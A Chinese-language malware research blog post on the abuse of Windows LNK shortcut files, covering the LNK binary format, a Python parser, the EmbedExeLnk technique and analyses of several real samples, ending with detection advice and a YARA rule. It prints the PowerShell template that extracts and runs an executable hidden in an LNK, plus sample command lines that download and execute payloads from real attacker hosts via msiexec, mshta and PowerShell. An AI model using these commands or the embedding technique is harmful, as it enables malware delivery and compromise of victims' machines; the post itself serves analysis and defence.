快轉到主要內容

當連結成為駭客利器:分析LNK攻擊與防禦技巧

·
Research Malware
貝坦betan
作者
貝坦betan
其實作者也只會是我啦哈哈
分析了 LNK file 是如何被用作攻擊,並從 LNK 結構開始介紹,並介紹攻擊手法 EmbedExeLnk 是如何實現的,以及分析現有惡意程式並說明該如何預防

前言
#

在今年(2025)的資安大會中,
聆聽了一場有關 LNK 文件是如何作為惡意軟體攻擊媒介的議程,
這場議程引發了我對於這部分的研究興趣,
也促使我開始深入研究 LNK 的相關內容。

透過本文章,你將了解惡意軟體為何以及如何利用 LNK file 作為一階段的攻擊跳板,
進一步了解 Embedexelnk 的攻擊手法,並說明如何預防此類威脅,
而最後也會提供一些可行的預防建議與防護策略方向。

另外,我也有在研究時隨手紀錄 hackmd,
也歡迎一併查看。
https://hackmd.io/@betan/HJhUTwmkge

概念
#

WHAT & WHY LNK
#

首先我們要先了解 LNK 檔案到底為何,
LNK 檔案簡單來講就是我們常在桌面使用的連結,
用於快速打開其他存放在電腦其他地方的檔案,
正常的使用是這樣的。

那為什麼駭客會使用 LNK 檔案當作第一階段的攻擊跳板呢?
我認為主要原因有以下幾點,
1. 正常介面中看不到副檔名 (.lnk)
在一般使用者介面中,若有在檔案總管中開啟「顯示副檔名」的功能,
則會顯示出各類型檔案的副檔名,例如 .exe, .jpg, .png 之類的檔案類型,
但在 LNK 檔案中,並不會顯示出副檔名為.lnk
除非是在 cmd 中使用 dir 之類的功能才會顯示出 .lnk

2. Icon、 名稱、 描述都可以自訂
如前面所提到的,由於不會顯示出副檔名,
也因此檔案名稱就能起到很好的混淆,
並且 LNK 檔的圖示(Icon)也能任意自訂,
例如直接使用系統原生的圖示,又或是自己建立一個 .ico 的圖片來當作圖示,

更甚至連描述都可以自訂為想要的內容,
在正常連結中,當你把滑鼠放在該連結上,
則會顯示出該連結最終指向的目標,例如 cmd.exediscord.exe, 但我們透過自訂描述,則可以任意修改該效果,
變成讓它顯示出自訂的內容。

例如透過將 LNK 檔案改名為 notepad.exe
並且修改 LNK 檔案的 Icon 為 notepad 的 Icon,
最後再修改整體描述為一個正常的檔案描述,
便能輕易偽裝成正常檔案。

alt text

3. 好撰寫
這部分其實有點見仁見智(?),
但對我這個開發能力滿爛的人,
都能滿輕易理解整體結構並且撰寫出類似的 LNK 檔,
大概就能說明這上手難度有多低了。

手法
#

通常會將惡意連接的名稱以及圖示改建成跟受害者相關的內容,
例如 財報.xlsx, 五月行事曆.pdf 等內容會誘使他人點擊的內容,
若是受害者就直接點開了,則就會開始執行惡意行為了。

大多使用 LOLBins(Living Off the Land Binaries) 來執行攻擊,
例如 cmd, powershell, winrm, mshta 等內建工具,
並且由於是透過呼叫本機就有的程式,
因此也較不容易被偵測到惡意行為。

可透過填充大量空格,使查看內容時只能看到一堆空白,
在查看詳細內容中的目標欄位,最多只能顯示出259個字元(包含空格),
因此若將惡意 payload 寫在超出的範圍後,
除非使用工具否則是不能查看該完整行為何的。

檢視如下圖,可以看到在目標的欄位全部內容都是空白,
這就是因為我們填充了大量的空格因此只能查看到空白。

context

LNK 結構
#

LNK 檔案的結構如下,
Header –> TargetIDList(optional) –> LinkInfo(optional) –> StringData(optional) –> ExtraData(optional)
這邊由於篇幅原因不全部介紹,
只簡單介紹 HeaderTargetIDList 的大致內容,
若想了解其餘更詳細的部分,歡迎查看微軟官方撰寫的 LNK 結構介紹。
[MS-SHLLINK]: Shell Link (.LNK) Binary File Format

Header

Header 為所有 LNK 檔中的標準開頭格式,長度為 76 bytes, 在檔案的開頭都須按照這個固定格式來撰寫,否則將無法正常打開。

其中需特別注意 LinkFlags 的部分,
該內容會決定到後續是否有 TargetIDList, LinkInfo 等結構。

項目 bytes 內容
HeaderSize 4 固定0x0000004C
LinkCLSID 16 固定0x00021401-0000-0000-C000-000000000046
LinkFlags 4 定義後續結構
FileAttributes 4 說明目標文件狀態
CreationTime 8 就是時間
AccessTime 8 就是時間
WriteTime 8 就是時間
FileSize 4 路徑目標大小
IconIndex 4 LNK ICON(通常為0)
ShowCommand 4 設定目標如何啟動(內容固定為0x1, 0x3, 0x7)
HotKey 2 開啟捷徑快捷鍵(注1)
Reserved1 2 保留字元,必為0
Reserved2 4 保留字元,必為0
Reserved3 4 保留字元,必為0

header

注1:
HotKey是我認為一個還滿酷的功能,
該功能須將連結放置在桌面上才能生效
LowByte (前1 byte)為鍵盤按鍵(例如A,B,C…) 、HighByte (後1 byte) 為 控制按鍵(ctrl, shift, alt),
假設設定成0x4301,代表同時按下 shift + B 即可開啟該 LNK 檔,
不論在哪個視窗按下都能開啟。
因此如果將該熱鍵設定成 Ctrl + A 的話,
就等於你每次使用全選功能時都會開啟該連結。

TargetIDList

需在 LinkFlags 定義有 HasTargetIDList 才會有該項目,
接續在 Header 後, 前 2 bytes 為整個 TargetIDList長度,
再來的內容都是不斷重複 長度(2 bytes)、內容(根據前面定義的長度),
直到最後跑完整個先前定義的長度。

例如範例中的 0x00E7 (由於 little endian 所以要倒著看)代表整個 TargetIDList 的長度為 0xE7,
而接下來的 0x14 則表示了 item 1 的整個長度為 0x14 bytes (包含定義長度的 2 bytes ),
0x4E ~ 0x61 即為 item 1 的完整內容,
而剩下的item也都是同樣格式,一直到跑完整個 TargetIDList 的長度。

IDlist

而我們透過了解整個 LNK 的結構後, 就能夠去撰寫一個簡易的 python 來去讀取整個 LNK file 的結構。
以下程式碼只簡單讀取了 LinkFlagsTargetIDList 內容。

展開程式碼
def LinkFlags(num):
    flags = [
        (0, 'HasLinkTargetIDList'),
        (1, 'HasLinkInfo'),
        (2, 'HasName'),
        (3, 'HasRelativePath'),
        (4, 'HasWorkingDir'),
        (5, 'HasArguments'),
        (6, 'HasIconLocation'),
        (7, 'IsUnicode'),
        (8, 'ForceNoLinkInfo'),
        (9, 'HasExpString'),
        (10, 'RunInSeparateProcess'),
        (11, 'Unused1'),
        (12, 'HasDarwinID'),
        (13, 'RunAsUser'),
        (14, 'HasExpIcon'),
        (15, 'NoPidlAlias'),
        (16 , 'Unused2'),
        (17, 'RunWithShimLayer'),
        (18, 'ForceNoLinkTrack'),
        (19, 'EnableTargetMetadata'),
        (20, 'DisableLinkPathTracking'),
        (21, 'DisableKnownFolderTracking'),
        (22, 'DisableKnownFolderAlias'),
        (23, 'AllowLinkToLink'),
        (24, 'UnaliasOnSave'),
        (25, 'PreferEnvironmentPath'),
        (26, 'KeepLocalIDListForUNCTarget'),
    ]
    enabled = []
    for bit, name in flags:
        if (num >> bit) & 1:
            enabled.append(name)

    return enabled

def FileAttributesFlags(num):
    flags = [
    (0, 'FILE_ATTRIBUTE_READONLY'),
    (1, 'FILE_ATTRIBUTE_HIDDEN'),
    (2, 'FILE_ATTRIBUTE_SYSTEM'),
    (3, 'Reserved1'),
    (4, 'FILE_ATTRIBUTE_DIRECTORY'),
    (5, 'FILE_ATTRIBUTE_ARCHIVE'),
    (6, 'Reserved2'),
    (7, 'FILE_ATTRIBUTE_NORMAL'),
    (8, 'FILE_ATTRIBUTE_TEMPORARY'),
    (9, 'FILE_ATTRIBUTE_SPARSE_FILE'),
    (10, 'FILE_ATTRIBUTE_REPARSE_POINT'),
    (11, 'FILE_ATTRIBUTE_COMPRESSED'),
    (12, 'FILE_ATTRIBUTE_OFFLINE'),
    (13, 'FILE_ATTRIBUTE_NOT_CONTENT_INDEXED'),
    (14, 'FILE_ATTRIBUTE_ENCRYPTED')
]
    enabled = []
    for bit, name in flags:
        if (num >> bit) & 1:
            enabled.append(name)

    return enabled

def rev(bt):
    # little endian 換 big endian
    bytes_data = bytes.fromhex(bt)
    reordered = bytes_data[::-1]  # 反轉
    linkflags_int = int.from_bytes(reordered, byteorder='big')
    return linkflags_int


def read_lnk_structure(data):

    
    structure = {}

    # 檢查開頭的 20 bytes (HeaderSize)
    header_size = data[:20]

    if header_size == b'\x4C\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46':
        structure['HeaderSize_Valid'] = True
    else:
        print('Wrong file! NOT LNK file')
        return '-1'


    # LinkFlags (4 bytes)
    link_flags = data[20:24]
    structure['LinkFlags'] = LinkFlags(rev(link_flags.hex()))

    # FileAttributesFlags (4 bytes)
    File_Attributes_Flags = data[24:28]
    structure['FileAttributesFlags'] = FileAttributesFlags(rev(File_Attributes_Flags.hex()))

    # HotKey (2 bytes)
    Hot_Key = data[0x40:0x42]
    if (Hot_Key == b'\x00\x00'):
        structure['HotKey'] = 'NO'
    else:
        key =''
        if data[0x41] & 0x01:
            key+=('SHIFT ')
        if data[0x41] & 0x02:
            key+=('CTRL ')
        if data[0x41] & 0x04:
            key+=('ALT ')
        structure['HotKey'] = chr(data[0x40]) , key

    return structure


def check_item(data,num,ed):
    item = []
    ed-=2
    while ed != 0:
        size = rev(data[num:num+2].hex()) 
        ed -= size
        item.append(data[num:num+size])
        num = num+size
    return item


def LinkTargetIDList(data):
    size = rev(data [76:78].hex())
    item =check_item(data,78,size)
    for idx, content in enumerate(item, start=1):
        hex_string = ''.join(f'\\x{b:02x}' for b in content)
        print(f"item {idx}: {hex_string}")
    return 78+size


def HasLinkInfo(data):

    print('test')
    return 1


if __name__ == "__main__":
    lnk_path = "Your path"
    with open(lnk_path, 'rb') as f:
        data = f.read()
    result = read_lnk_structure(data)
    for k, v in result.items():
        print(f"{k}: {v}")

    if 'HasLinkTargetIDList' in (result['LinkFlags']):
        print('--- has TargetIDList ---')
        now = LinkTargetIDList(data)

    print(now)

    if 'HasLinkInfo' in (result['LinkFlags']):
        print('--- has HasLinkInfo ---')
        HasLinkInfo(data)
    print(now)

EmbedExeLnk
#

本內容參考由 d4rkiZ 改良過後的 EmbedExeLnk 技巧。

d4rkiZ/EmbedExeLnk-

EmbedExeLnk by x86matthew modified by d4rkiZ

C++
42
11

概念
#

由於 LNK 檔對於結構的檢查並沒有很嚴苛,
因此我們可以塞任意內容到 LNK 檔的末端都不會影響到檔案的開啟。

而這個攻擊手段就是透過內嵌 exe 檔到 LNK 檔的末尾中,
以達到不需要到 C2 下載檔案就能執行惡意程式的操作,
但也並非只有 exe 檔才可以使用此技巧,
基本上任何格式的內容都可以嵌到 LNK 檔的末端。

LinkFlags 內容
#

這邊先查看一下他在 LinkFlags 中使用了那些項目以及功能為何。

  • LinkFlags
    • HasName (用於新增描述)
      • saved with a name string, NAME_STRING StringData structure must be present
    • HasArguments (使用環境變數)
      • has command line arguments,COMMAND_LINE_ARGUMENTS StringData structure must be present
    • HasIconLocation (自訂 Icon)
      • ICON_LOCATION StringData structure MUST be present
    • IsUnicode
      • StringData contains Unicode-encoded strings
    • HasExpString
      • 有環境變數內容,需再EnvironmentVariableDataBlock設定
    • PreferEnvironmentPath
      • 沒有ID list,用環境變數替代
      • The target IDList SHOULD NOT be stored; instead, the path specified in the EnvironmentVariableDataBlock (section 2.5.4) SHOULD be used to refer to the target.

不使用常見的TargetIDList ,而是透過 PreferEnvironmentPath 將內容丟到 ExtraData

Command line arguments
#

透過先開啟 Google Chrome 內建的弱密碼本,
來欺騙被害者以為開啟的是正常 txt 文件,
而後透過先遍歷整個當前目錄的所有 lnk 檔案,來找到此惡意 LNK,
接著讀取 LNK 中最末端加密後的 exe 檔內容,解密並存放到 tmp 檔中,
最後就是執行該 exe 檔。

/c start notepad C:\\%%HOMEPATH%%\\AppData\\Local\\Google\\Chrome\\User Data\\ZxcvbnData\\3\\passwords.txt && 
powershell -windowstyle hidden 
$lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; 
$file = gc $lnkpath -Encoding Byte; 
for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; 
$path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; 
sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;

我們在執行該 lnk 檔後,可以看到就開啟了弱密碼 txt 本,
以及也運行了我撰寫的一個簡單 MessageBox exe file,
就這樣收到了一份洗劫獅送來的傳票了。

alt text

結構分析
#

我們從程式碼來看,可以看到其中定義的結構如下,
header –> description_length –> description –> CommandLineArguments –> IconLocationLength –> IconLocation –> EnvironmentVariableDataBlock –> ExeFile
其中 description, CommandLineArguments, IconLocation 位於 StringData 中,
EnvironmentVariableDataBlock 則是位於 ExtraData 中。

  • Header (0 ~ 4B bytes)

    • 結構就如 前面 所提及,這邊就不過多贅述。
    • 由於大多數結構都不影響 LNK 檔, 因此這邊就將其餘數值都填 0。
    • image
  • StringData - NAME_STRING (4C ~ CF bytes)

    • 解釋一下長度, 0x41 = 65 ,然後我們需要將長度 * 2 才會是後續內容的長度,因此 65 * 2 = 130 , 後續內容從 4E ~ D0 的長度就剛好是130
    • image
  • StringData - COMMAND_LINE_ARGUMENTS (D0 ~ 885 bytes)

    • image
  • StringData - ICON_LOCATION (886 ~ 8C1 bytes)

    • image
  • ExtraData - ENVIRONMENT_PROPS (8C2 ~ BD6 bytes)

    • image
  • exe file (BD6 ~ FDD6 bytes)

    • xor 0x77 後的內容,這邊就不過多贅述
    • image

實例
#

這邊將分析五個實際的樣本,其中三個為議程中提及到的樣本,
剩下一個是野外的 LNK 惡意程式,最後一個則是使用了 Embedexelnk 的技巧。
本次研究主要是研究 LNK 的惡意行為,
因此沒有再對後續的惡意程式進行更進一步的分析。

PuppetFox, RolandSkimmer, Confucius
#

由於本部分都沒有下載到原始樣本,
因此這邊我只能透過去 VirusTotal 進行查詢,
但幸運的是,在 VT 中就能查看詳細的 LNK 指向目標內容了!

由於在 VT 中會自動將過長的內容後續省略為 …
但我們能透過直接對該項目透過開啟 F12 來查看完整內容,
又或是也能在 BEHAVIOR 中的 Processes created 看到完整進程。
Bro 以為自己在打 CTF 找 Flag

Hash 值:

  • PuppetFox
    • 3d8db6e02bd11a4366b02bfb94593ff410d183a94134933121c806a5f175f8a3
  • RolandSkimmer
    • 86fedcd08d32eeff8a4caa9c2d4ae65b6cea89698570e8ce172a4e82c7f296f1
  • Confucius
    • 4206ab93ac9781c8367d8675292193625573c2aaacf8feeaddd5b0cc9136d2d1

PuppetFox

透過 Windows 內建的工具 Winrm 來執行惡意行為,
先透過 cmd 開啟 winrm,並透過 /c 來讓 cmd 在執行後關閉,
start 使用最小化( /min )、不開啟新視窗( /B )來啟動 winrm
msiexec 使用不顯示任何對話框或 UI( /q, /qn ),來安裝( /i )後續的 msi檔。 因此推測該 C2 server 內容應該就是一個惡意的 msi 檔。

cmd 中輸入 msiexec /?, start /?, cmd /? 可查看所有相關 / 指令應用。

Command line arguments:

cmd.exe /c ""C:\Windows\System32\winrm.cmd" &
start /min /b msiexec&&
start /min /B msiexec /q /i http://154.201.83.175:3989/@ /qn"

RolandSkimmer

透過 mshta.exe 來執行後續惡意 VBScript 腳本,
透過 createobject 建立一個 mi1 物件,
接著透過該物件向 C2 發送 GET 請求,
並替換收到的回應中的 # 改為隨機數並執行,
回應的部分應該就是具體的惡意行為了。

而我們能發現到它有定義一個隨機數的部分,
透過查看 VT 可以在 Contacted URLs 中發現到有許多的 URL,
大多都只是 V 值不同,
因此推測收到的回應內容應該就包含這部分V=#

VT

Command line arguments:

"C:\wINdOwS\SySTeM32\MsHTa.eXe" 
vbscript:execute("set mi1=createobject(""msxml2.serverxmlhttp.6.0""):
mi1.open ""get"",""http://invsetmx.com/ipa.aspx"",false:
mi1.send():
randomize:
r=int(rnd*99999):
execute(replace(mi1.responsetext,""#"", r)):")
(WiNdOW.ClOsE)

Confucius

先將本機合法程式 fixmapi.exe 複製到 AppData\Local\BlueAle.exe
接著執行混淆過後的指令,解混淆後可以得出下列內容,
可以看到去 C2 下載一個 dll,然後再下載一個 file.pdf 儲存在 tmp 資料夾,
最後則是去開啟該 pdf,然後睡五秒後去執行 BlueAle.exe
這邊使用到了 dll sideloading 的技巧來運行惡意 dll。

Command line arguments:

"powershell.exe" -C 
"$pa=$env:LocalAppData; 
$c=$pa+'\BlueAle.exe';
Copy C:\Windows\System32\fixmapi.exe $c; 
437,455,452,446,370,383,449,370,378,374,450,435,370,381,370,377,430,447,435,450,443,453,454,455,436,384,438,446,446,377,379,370,372,442,454,454,450,453,396,385,385,450,439,454,452,443,437,441,452,439,439,448,384,443,448,440,449,385,420,418,426,408,406,389,394,425,403,418,420,393,384,452,445,449,372,397,374,444,399,374,439,448,456,396,422,415,418,370,381,370,377,430,440,443,446,439,384,450,438,440,377,397,370,437,455,452,446,370,383,449,370,374,444,370,372,442,454,454,450,453,396,385,385,450,439,454,452,443,437,441,452,439,439,448,384,443,448,440,449,385,404,425,416,395,428,403,418,384,452,445,449,372,397|%{$x+=[char]($_-338)};
$x|IEX;
start $j;
Start-Sleep -Seconds 5;
start $c"

解混淆中間的內容:

curl -o ($pa + '\mapistub.dll') "https://petricgreen.info/RPXFD38WAPR7.rko";
$j=$env:TMP + '\file.pdf'; 
curl -o $j "https://petricgreen.info/BWN9ZAP.rko";

Scanned-Doc-t00778886867-QUO.LNK
#

在這個案例中比較值得一提的是,
並非使用常見的 C2 來存放惡意軟體,
而是透過雲託管服務來存放惡意軟體,
在資安大會的其他場議程中也有提及到,
現在這種使用第三方免費服務的攻擊越來越多,
而且也能在進行完攻擊後就刪除,使研究員難以查詢。

而我也有找到一些該 LNK 的變體,
可以發現到他唯一的差別都只有使用不同的雲託管服務,
其他的不論是檔案名稱或是攻擊內容則都是相同的。

Command line arguments:

powershell -WindowStyle hidden 
-Command 
(new-object System.Net.WebClient).DownloadFile(''https://link.storjshare.io/raw/jvkur67ttk7yuzdriwaa3ufnlwra/my-newupload/newfile.txt'',''C:\\ProgramData\\HEW.GIF'');
$file = ''C:\\ProgramData\\HEW.GIF'';
[System.Convert]::FromBase64String((Get-Content $file)) | Set-Content C:\\ProgramData\\CHROME.PIF -Encoding Byte; 
start C:\\ProgramData\\CHROME.PIF;'

malware

Hash:

  • Scanned-Doc-t00778886867-QUO.LNK
    • 3107d53f9e37c496f08e3742c379976a80f7297c192aba5b8eb7c5f29af18f33

Embedziplnk
#

在連結中嵌入 zip 而非先前提及到的 exe
但整體邏輯仍一樣。
一樣遍歷當前目錄的所有檔案找出該 lnk 檔,
然後把 zip 存放到 tmp 中,解壓縮並執行其中的惡意軟體。

去查看該檔案的十六進制格式,透過觀察末端內容的 Header ,
發現他就是正常 zip file 的 header,並沒有做加密之類的,
而我們簡單寫一個提取腳本出來,
發現末端就真的是 zip 檔案,解壓縮後也有後續攻擊提到的 5.9.82.114.exe

alt text
alt text

Command line arguments:

powershell -windowstyle hidden 
$jhelpfule=[system.io.file]::ReadAllBytes((dir *.lnk ^| ? {$_.length -ge 00202000} ^| select -ExpandProperty FullName));
$oprototypez = ''%LOCALAPPDATA%\tmp'' + (Get-Random) + ''.zip'';
$oprototypez = [Environment]::ExpandEnvironmentVariables($oprototypez);
$vplanz = [System.IO.Path]::GetDirectoryName($oprototypez);
[System.IO.File]::WriteAllBytes($oprototypez, $jhelpfule[  3478..($jhelpfule.length)]);
cd    $vplanz;Expand-Archive 
$oprototypez . -EA 0 -Force ^| Out-Null;
del $oprototypez -EA 0 -Force ^| Out-Null;
^& .\5.9.82.114.exe'  

Hash:

  • [Embedexelnk] Court order No.RY4577-71 (mandatory to comply
    • 4a07b3fbfd385f067e892a385d63667ba9a6d89f9d49f3736de84c94282e28e5

預防與防治
#

我們透過去學習了 LNK file 的結構,
以及上述的實例分析,
多少能找到一些惡意連結的特徵,
因此以下是一些我認為能夠作為實際預防手段的方向。

結構
#

看到這裡,我們已經學習到了基本的 LNK file 的結構,
並且也進行了一些實例分析後,
我們也大致能從這些案例分析中找到一些規律,
也因此就能夠去根據這部分的概念來撰寫例如 yara rule 或是其他檢測工具的偵測機制。

例如我們在上述學習 Embedexelnk 的時候可以發現他都有 PreferEnvironmentPath 的內容,
因此我們就能寫一個條件是,在 LinkFlags 中存在 PreferEnvironmentPath 就可以標記為可疑之類的。
yara rule 簡單範例:

rule LNK_PreferEnvironmentPath {
    condition:
        (uint32(0x14) & 0x00002000) != 0
}

當然也不是限定說只有這一個項目,但剩下的就歡迎各位去自己研究後再來判讀了。

又或是我們也能使用機器學習的方式來辦別,
例如透過檢測 LNK 檔中 LinkFlags 中的所有項目,用來建立一個項目表之類的,
再丟給模型去訓練讓他判讀,
這部分未來如果有機會的話我應該會去實作,
又或是你有其他想法或是想一起製作的話也能來 DM 我一起討論之類的。

系統
#

這部分主要是我認為現行的 LNK 檔該如何預防,
以及對於未來系統建議的改良方向…?

我們可以透過檔案總管查看項目類型,在項目類型會明確顯示出 捷徑
這大概會是比較明確指出這是 LNK 檔的最大跡象,
所以如果真的是需要去開啟一些奇怪檔案的時候,
建議可以在檔案總管處先去詳細確認一下檔案類型。

而 LNK 檔還有一大特徵就是他的 Icon 左下角有一個箭頭符號,
雖然有顯示,但不多,畢竟現在人均老花(X
而且大多人也不會去特別查看 Icon 的角落之類的,
因此我認為直接放大那個箭頭,又或是新增其他能夠區別 Icon 的方式。

最後則是新增顯示 .lnk 字尾,雖然並非所有使用者都會開啟顯示副檔名,
但我認為如果能直接顯示出 .lnk 結尾的話多少也能起到一些防護功能。

總結
#

這種透過 LNK 檔的攻擊手段在很早之前就出現過了,
我認為除非微軟有打算大改他們的系統,
否則這種類型的攻擊在未來也仍然會十分常見,
因此養成一個不要亂點奇怪檔案的習慣才是一個正確的網路公民喔!

笑死 這甚麼超爛的小學作文結尾,
感謝所有願意看到這裡的人,
我知道我文章排版滿醜的><
有任何疑問或是建議都可以和我說。

至此,藝術已成

參考來源
#

How to use Shortcut LNK Files on Windows - Malware Delivery Initial Access

EmbedExeLnk - 在LNK内嵌入EXE并自动执行

d4rkiZ/EmbedExeLnk